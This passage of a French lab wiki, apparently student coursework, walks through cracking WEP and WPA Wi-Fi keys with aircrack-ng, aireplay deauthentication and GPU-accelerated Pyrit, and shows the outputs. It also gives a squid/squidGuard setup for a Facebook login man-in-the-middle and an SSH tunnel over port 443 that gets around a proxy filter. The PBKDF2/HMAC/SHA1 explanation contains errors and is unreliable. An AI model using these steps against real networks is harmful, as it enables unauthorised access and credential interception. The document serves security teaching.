 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Attaque Man In the Middle de Facebook===&lt;br /&gt;
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.&lt;br /&gt;
&lt;br /&gt;
Config Squid&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
acl allowedips src 172.16.1.0/24&lt;br /&gt;
http_access allow allowedips&lt;br /&gt;
forwarded_for off&lt;br /&gt;
http_access deny all&lt;br /&gt;
cache_access_log /var/log/squid3/access.log&lt;br /&gt;
cache_log /var/log/squid3/cache.log&lt;br /&gt;
cache_store_log /var/log/squid3/store.log&lt;br /&gt;
cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
cache_mem 16 MB&lt;br /&gt;
maximum_object_size 15 MB&lt;br /&gt;
http_port 3128&lt;br /&gt;
cache_effective_group root&lt;br /&gt;
url_rewrite_program /usr/bin/squidGuard&lt;br /&gt;
shutdown_lifetime 1 second&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Config Squidguard&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dbhome /usr/local/squidGuard/db&lt;br /&gt;
&lt;br /&gt;
dest fb-login {&lt;br /&gt;
    urllist     facebook/url&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
cat /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
fr-fr.facebook.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Contournement d'un proxy===&lt;br /&gt;
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition &amp;quot;La nuit de l'info&amp;quot;, nous avons été amené à réaliser un dispositif permettant un accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécessaires.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install openssh-server proxytunnel isc-dhcp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /root/.ssh/config&lt;br /&gt;
Host perfectTunnel&lt;br /&gt;
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR&lt;br /&gt;
        User root&lt;br /&gt;
        Port 443&lt;br /&gt;
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous réalisons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh \&lt;br /&gt;
  -o PermitLocalCommand=yes \&lt;br /&gt;
  -o LocalCommand=&amp;quot;ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0&amp;quot; \&lt;br /&gt;
  -o ServerAliveInterval=60 \&lt;br /&gt;
  -w 5:5 perfectTunnel \&lt;br /&gt;
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping -I tun5 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
3 packets transmitted, 3 received, 0% packet loss, time 2002ms&lt;br /&gt;
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
